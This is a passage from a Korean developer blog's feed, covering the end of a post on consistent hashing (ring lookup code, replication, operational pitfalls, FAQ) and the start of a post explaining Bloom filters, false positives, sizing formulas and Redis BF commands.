  &lt;span class=&quot;token function&quot;&gt;getNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; h &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; point &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;points&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; h&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;point &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;points&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;node
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;조회는 정렬 배열에서 선형 탐색하지 않고 이진 탐색을 사용해야 합니다. 노드 목록이 바뀌는 순간 모든 애플리케이션 인스턴스가 같은 링 버전을 보도록 하는 것도 중요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;복제는 별도의 문제다&lt;/h2&gt;
&lt;p&gt;일관된 해싱은 기본적으로 &lt;strong&gt;키의 주 소유자&lt;/strong&gt;를 정합니다. 장애를 견디려면 복제본도 선택해야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;primary  = 시계 방향 첫 번째 물리 노드
replica1 = 다음 물리 노드
replica2 = 그다음 물리 노드&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 vnode만 보고 같은 물리 서버를 두 번 고르면 복제 의미가 사라집니다. 반드시 서로 다른 장애 도메인의 물리 노드를 선택해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영에서 자주 놓치는 함정&lt;/h2&gt;
&lt;h3&gt;1. 재배치가 적다고 비용이 0은 아니다&lt;/h3&gt;
&lt;p&gt;새 서버가 담당할 데이터를 실제로 복사하고, 복사 중 발생한 쓰기를 따라잡고, 트래픽을 전환해야 합니다. 링 계산만 구현하고 마이그레이션 상태를 관리하지 않으면 읽기 누락이 발생합니다.&lt;/p&gt;
&lt;h3&gt;2. Hot Key는 해결하지 못한다&lt;/h3&gt;
&lt;p&gt;키 하나에 트래픽이 집중되면 그 키의 소유 서버가 계속 뜨겁습니다. 요청 병합, 로컬 캐시, 키 분할 같은 별도 전략이 필요합니다.&lt;/p&gt;
&lt;h3&gt;3. 노드 용량이 다르면 가중치가 필요하다&lt;/h3&gt;
&lt;p&gt;메모리 64GB 서버와 256GB 서버에 같은 수의 vnode를 주면 큰 서버의 용량을 활용하지 못합니다. 용량 비율에 맞춰 토큰 수를 조정해야 합니다.&lt;/p&gt;
&lt;h3&gt;4. 멤버십 정보가 갈리면 같은 키가 다른 곳으로 간다&lt;/h3&gt;
&lt;p&gt;클라이언트마다 서로 다른 노드 목록을 사용하면 동일한 키의 목적지가 달라집니다. 링 버전, 배포 순서, 롤백 절차를 명시해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어디에 사용할까&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;분산 캐시의 키 배치&lt;/li&gt;
&lt;li&gt;NoSQL 데이터베이스의 파티셔닝&lt;/li&gt;
&lt;li&gt;상태 저장 서비스의 샤드 선택&lt;/li&gt;
&lt;li&gt;세션이나 테넌트를 셀에 안정적으로 매핑&lt;/li&gt;
&lt;li&gt;동일 키 요청을 같은 upstream으로 보내는 라우팅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;반대로 서버 수가 거의 바뀌지 않고 전체 데이터가 작다면 단순 모듈러 방식이 더 쉽습니다. 일관된 해싱은 재배치 비용이 실제 운영 문제일 때 가치가 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Modulo Hashing    → 서버 수가 바뀌면 배치 전체가 흔들림
Consistent Hashing → 새 서버가 맡은 구간만 이동
Virtual Nodes      → 구간과 부하의 편차를 완화&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;일관된 해싱을 도입할 때는 링 그림만 보지 말고 &lt;strong&gt;재배치량, 데이터 이동 시간, 복제, 핫키, 멤버십 버전&lt;/strong&gt;을 함께 설계해야 합니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;일관된 해싱을 쓰면 데이터가 완벽히 균등해지나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 핵심 보장은 노드 변경 시 이동 범위를 줄이는 것입니다. 균등성은 해시 품질, vnode 수, 노드별 가중치의 영향을 받습니다.&lt;/p&gt;
&lt;h3&gt;서버를 제거할 때도 일부 키만 이동하나요?&lt;/h3&gt;
&lt;p&gt;네. 제거된 서버가 소유하던 구간이 시계 방향의 다음 서버로 넘어갑니다. 다만 복제본과 장애 도메인을 함께 고려해야 합니다.&lt;/p&gt;
&lt;h3&gt;Rendezvous Hashing과 무엇이 다른가요?&lt;/h3&gt;
&lt;p&gt;Rendezvous Hashing은 각 키에 대해 모든 노드의 점수를 계산해 가장 높은 노드를 선택합니다. 링 관리가 필요 없다는 장점이 있지만 노드 수가 클 때 계산 비용과 최적화 방법이 달라집니다.&lt;/p&gt;
&lt;h3&gt;로드 밸런싱의 Round Robin을 대체하나요?&lt;/h3&gt;
&lt;p&gt;목적이 다릅니다. Round Robin은 요청을 순환 배분하고, 일관된 해싱은 같은 키가 가능한 한 같은 목적지에 남도록 합니다. 상태나 캐시 지역성이 필요할 때 사용합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cassandra.apache.org/doc/latest/cassandra/architecture/dynamo.html&quot;&gt;Apache Cassandra — Consistent Hashing using a Token Ring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/wellarchitected/latest/reducing-scope-of-impact-with-cell-based-architecture/consistent-hashing.html&quot;&gt;AWS Well-Architected — Consistent Hashing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/load-balancing-algorithms/&quot;&gt;로드 밸런싱 알고리즘 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/cache-stampede/&quot;&gt;캐시 스탬피드와 분산 락&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[블룸 필터란? 확실한 NO와 틀릴 수 있는 YES]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 데이터가 수억 건 있는 저장소에 어떤 키가 존재하는지 확인해야 한다고 생각해 보겠습니다. 매 요청마다 DB…]]></description><link>https://blog.javapark.kr/bloom-filter-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/bloom-filter-explained/</guid><pubDate>Thu, 03 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/c19f1b92318a255e1f39bdcbeb9ea860/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABqElEQVR42mWSTY/TMBCGo23icfxVO4ntfDRtwpbSLVIXxAH21JYVIhUIrbgixIUDEjf+/4FxInYXkN6MXlvzzMRjR0SSueemlqaRLKO4fKxEJEHyP437EX5uzVd7011r5Vk0i5EBBagpiWSEGEJzwgpCsyBcBskkwqS3w+k0HA+3p/6FeX4rYj67gIsZm03lISOoeQVNR9ue5jUl4w7VJMBfv3/5+evH8Gl4eVh//Paq6qtn+02/7WMeT52XT+i8BLuAcgVoVpcpLQjPIcAfPp/Pd++3+83V9e7d+XxzfHMaDjfH1xOMTXQNwoOqqSyBl2AawFNIP8JuWZS9c21h27xee78s8jqzi5yE3465Y3Yjsk6UO4wSjd8JUbJ5DdH9eIJwwn/8/aiFZ6YRouKqFX4rTCeqqwDrhj7AowmeKCwRzASnOaB8qdpGrxZZXWtmKbOgmzT6+1bJVGKKD7Cly0vXPy07jJuSOcoK0NXYOdUpyxhGnjGq6T8vBAxhyBdYAlIH3FPhgNlxYJjEc66c5DlTVjLDwvU85nkCKmGGiAKUC5IOhAVekN9QvC0cO4SN+wAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c19f1b92318a255e1f39bdcbeb9ea860/a1b3b/thumbnail.webp 215w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/fc700/thumbnail.webp 430w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/521f7/thumbnail.webp 860w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/c19f1b92318a255e1f39bdcbeb9ea860/f7886/thumbnail.png 215w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/bc750/thumbnail.png 430w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/3e3fe/thumbnail.png 860w,
/static/c19f1b92318a255e1f39bdcbeb9ea860/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c19f1b92318a255e1f39bdcbeb9ea860/3e3fe/thumbnail.png&apos; alt=&apos;apple과 banana가 켠 비트 때문에 넣지 않은 mango가 MAYBE EXISTS로 판정되는 블룸 필터 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;apple과 banana가 켠 비트 때문에 넣지 않은 mango가 MAYBE EXISTS로 판정되는 블룸 필터 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;데이터가 수억 건 있는 저장소에 어떤 키가 존재하는지 확인해야 한다고 생각해 보겠습니다. 매 요청마다 DB나 디스크를 읽으면 정확하지만 비쌉니다. 그렇다고 모든 키를 메모리에 보관하면 메모리가 커집니다.&lt;/p&gt;
&lt;p&gt;블룸 필터(Bloom Filter)는 이 문제에 독특한 답을 냅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;없다고 판정하면 확실히 없습니다. 있다고 판정하면 실제로는 없을 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;정확한 집합 대신 작은 비트 배열과 여러 해시 함수를 사용하고, 약간의 **False Positive(거짓 양성)**를 허용해 메모리를 크게 아낍니다. 중요한 점은 블룸 필터가 원본 저장소를 대체하는 것이 아니라, &lt;strong&gt;불필요한 조회를 앞에서 걸러내는 필터&lt;/strong&gt;라는 것입니다.&lt;/p&gt;
&lt;p&gt;넣지 않은 값이 왜 &quot;있을 수도 있음&quot;으로 나오는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/htAtPO7vboI&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD8klEQVR42j2U2Y/cRBCHLcGO++52293to32Pj5nMzl45dkNWgKIkCrAkWUEgASR44wH+/1fKM2ilz1arXL+q6nZXBUSHNF4BLPkfWHMTCodkilVGYLFgF8AOMCBZVMGD7GjVpcj6JC4FMatQf7mKvqAWsQMcQqShsOExBBA8KJfYKWKOyELgJEzq+Pb186/f3opchHqF4hCMMl0QLuSHKoKjcsEuH1SGAF0gW7F2Y9Y7Z0oaFzjKsS6wyjEoDyFgF2FwkKHEo6IhtiS2Iq4mpsRxgbIGCGOPTIXTmriKwLvsmSnJsQQQI/BrZt5tZdbQKEfaI+WRazFYqonbFqsSRRWKPPI9bTYCjKCHEgJ4IK0fRTmrrCWg1PXimva42So/SddjXeO4Wez5Gvs5qmcFBaoMB5AdjrEd2bhhqkBRHR5dgXqm54+57RaZacGCIeh4ytuJHs6FBMdDguT9TFUVgkfSIsB0WDe4GMnplfAT0Q1Yloj9liQNigoQ4yD21NbcVGzc0WPCg5K4NU0HYnqcDaDn7SO26Fs07dnBB5uaBFmnul1ab920o65bCnZr7Hpie2zXOB0JYAe8u+LjnpsWPzpjdiTlnvktC7RnzFE/0A/35rsfdLvhLKXZxDe3aryW6SCUJ3bNeEGnHb+/Nx8/JrtLQR1ROQlETqRPxp1899m8/2zmU8GcdpO4/eSevU90zWWuVEF4rqtB/vhz/NOf9umNlEWsch5EJeM5Kyf+8k38zau42UrpeTbz+UU0PJP5hruBpQPTFUt7enen//7L7i85y2jkSaA816USBYu8VAWPahlXClwjMGZs/9Lc3JvuChyUX/O7D+bX3+yTayVyqXIKZdO4jiWISxnXkSxoUmtVMl1HUaW23+oXv9jmQvJMNaN8+05//9E8fiZFEamCBVHFo4olrdQt1x1PBhF3cJ7CDhzwO1Gewi5Y0hH4f48u+OUTUQxEFKH2OIhqrmomG6Y7YQZpR+nmhXQjso1IR74wsXSk8PNUHYoyhHsWV0vnBdJD1CgdDbyFp6KksloQcPUruHNEQg+V0BtYQksWy1tAY2ZwyXDA82WT+eCiSoYwXBwhFlOLuSPMkmU2OBo5xmFtME4QSRBMBZgNEhoDzhnFMHFOUBKemNXzqf398vKPx1dfje2b3fTPzc2ni/NXm+Hf65uL3p/EJyRZRgoAyQNeMGoQPWQLk5Vf2/1Z9+R82F+s+7l4ejWdn/Xb0+b66SardBiv8IN4GQY5I4diiAkRjKSC2S72rRnGfB6KefKX27bqnekSbNBxkh3hKYKyOeiheF7wZZ0RmZGsVHmpyjoqK7VuYgefYDamCATQ/EdgYP4H3aODFBhMn68AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/6a6c139ef8b2e233bbd7ecde75175cb5/a1b3b/video-thumb.webp 215w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/fc700/video-thumb.webp 430w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/521f7/video-thumb.webp 860w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/6a6c139ef8b2e233bbd7ecde75175cb5/f7886/video-thumb.png 215w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/bc750/video-thumb.png 430w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/3e3fe/video-thumb.png 860w,
/static/6a6c139ef8b2e233bbd7ecde75175cb5/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/6a6c139ef8b2e233bbd7ecde75175cb5/3e3fe/video-thumb.png&apos; alt=&apos;블룸 필터 영상 — 넣지 않은 mango 의 비트가 모두 1이라 FALSE POSITIVE 가 되는 순간&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;블룸 필터 영상 — 넣지 않은 mango 의 비트가 모두 1이라 FALSE POSITIVE 가 되는 순간&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;블룸 필터의 구조&lt;/h2&gt;
&lt;p&gt;표준 블룸 필터에는 세 가지가 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;m&lt;/code&gt;개의 칸을 가진 비트 배열&lt;/li&gt;
&lt;li&gt;서로 다른 위치를 만드는 &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;개의 해시 함수&lt;/li&gt;
&lt;li&gt;저장할 원본 키&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;처음에는 모든 비트가 &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;index  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
bit    0 0 0 0 0 0 0 0 0 0  0  0  0  0  0  0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;apple&lt;/code&gt;을 세 해시 함수에 넣은 결과가 &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;12&lt;/code&gt;라면 해당 비트를 &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;로 바꿉니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;H1(apple) → 1
H2(apple) → 6
H3(apple) → 12

bit    0 1 0 0 0 0 1 0 0 0  0  0  1  0  0  0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기에 &lt;code class=&quot;language-text&quot;&gt;banana → 3, 6, 14&lt;/code&gt;를 추가합니다. 6번 비트는 이미 1이므로 그대로 둡니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;bit    0 1 0 1 0 0 1 0 0 0  0  0  1  0  1  0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;블룸 필터는 &lt;code class=&quot;language-text&quot;&gt;apple&lt;/code&gt;이나 &lt;code class=&quot;language-text&quot;&gt;banana&lt;/code&gt;라는 원문을 저장하지 않습니다. 어느 키가 어떤 비트를 켰는지도 기억하지 않습니다. 이 특성이 작은 메모리 사용량과 삭제의 어려움을 동시에 만듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;조회: 하나라도 0이면 확실히 없다&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kiwi&lt;/code&gt;의 해시 결과가 &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;7&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;12&lt;/code&gt;라고 해보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;H1(kiwi) → 1  = 1
H2(kiwi) → 7  = 0
H3(kiwi) → 12 = 1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;7번 비트가 0입니다. 삽입된 키라면 세 위치를 모두 1로 만들었어야 하므로 &lt;code class=&quot;language-text&quot;&gt;kiwi&lt;/code&gt;는 &lt;strong&gt;확실히 없습니다&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;이때는 실제 DB나 디스크를 읽지 않고 바로 끝낼 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Bloom Filter: DEFINITELY NOT
Database:     조회 생략&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Redis 공식 문서가 블룸 필터를 “존재하지 않는 항목을 확실히 걸러내고, 존재 가능성이 있는 항목만 추가 확인하는 확률적 자료구조”로 설명하는 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;False Positive: 모두 1이어도 틀릴 수 있다&lt;/h2&gt;
&lt;p&gt;이번에는 넣지 않은 &lt;code class=&quot;language-text&quot;&gt;mango&lt;/code&gt;의 해시 결과가 &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;14&lt;/code&gt;라고 하겠습니다.&lt;/p&gt;
&lt;p&gt;세 위치는 모두 1입니다. 하지만 이 비트들은 &lt;code class=&quot;language-text&quot;&gt;apple&lt;/code&gt;과 &lt;code class=&quot;language-text&quot;&gt;banana&lt;/code&gt;가 각각 켠 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Bloom Filter: MAYBE EXISTS
Database:     NOT FOUND
Result:       FALSE POSITIVE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;블룸 필터는 “mango가 이 비트를 켰다”는 출처를 저장하지 않으므로 구분할 수 없습니다. 따라서 &lt;code class=&quot;language-text&quot;&gt;MAYBE EXISTS&lt;/code&gt;는 최종 답이 아니라 &lt;strong&gt;실제 저장소를 조회하라는 신호&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;표준 블룸 필터에는 다음 비대칭이 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;판정&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;다음 동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;하나라도 &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;확실히 없음&lt;/td&gt;
&lt;td&gt;원본 저장소 조회 생략&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모두 &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;있을 수도 있음&lt;/td&gt;
&lt;td&gt;원본 저장소 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;단, “False Negative가 없다”는 말은 &lt;strong&gt;표준 방식으로 삽입하고 비트를 임의로 지우지 않았을 때&lt;/strong&gt; 성립합니다. 구현 오류, 동기화 누락, 안전하지 않은 삭제까지 면책하는 표현은 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;용량과 오탐률을 먼저 정해야 한다&lt;/h2&gt;
&lt;p&gt;비트 배열이 많이 찰수록 서로 다른 키가 같은 비트를 공유할 확률이 커지고 False Positive가 늘어납니다. 그래서 운영에서는 자료구조를 만든 뒤 데이터를 무한히 넣는 것이 아니라 다음 두 값을 먼저 정합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;예상 삽입 개수 &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;허용할 False Positive 확률 &lt;code class=&quot;language-text&quot;&gt;p&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;필요한 비트 수 &lt;code class=&quot;language-text&quot;&gt;m&lt;/code&gt;과 적절한 해시 함수 수 &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;는 다음과 같이 계산할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;m = -n × ln(p) / (ln 2)²
k = (m / n) × ln 2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;키 하나당 필요한 대략적인 비트 수는 다음과 같습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;목표 오탐률&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;키당 비트&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;권장 해시 수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1%&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 9.6 bit&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 7개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;0.1%&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 14.4 bit&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 10개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;0.01%&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 19.2 bit&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;약 13개&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;오탐률을 낮추면 메모리와 해시 계산량이 늘어납니다. “낮을수록 좋다”가 아니라 &lt;strong&gt;불필요한 원본 조회 비용과 필터 비용을 함께 측정&lt;/strong&gt;해 정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Redis에서 사용하는 방법&lt;/h2&gt;
&lt;p&gt;Redis Bloom 모듈에서는 예상 용량과 오탐률을 명시해 필터를 예약할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;BF.RESERVE seen:users 0.001 1000000
BF.ADD seen:users user:42
BF.EXISTS seen:users user:42
BF.EXISTS seen:users user:999&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;위 설정은 100만 개 항목과 0.1% 오탐률을 목표로 합니다.&lt;/p&gt;
&lt;p&gt;애플리케이션 코드는 &lt;code class=&quot;language-text&quot;&gt;BF.EXISTS&lt;/code&gt; 결과를 이렇게 해석해야 합니다.&lt;/p&gt;
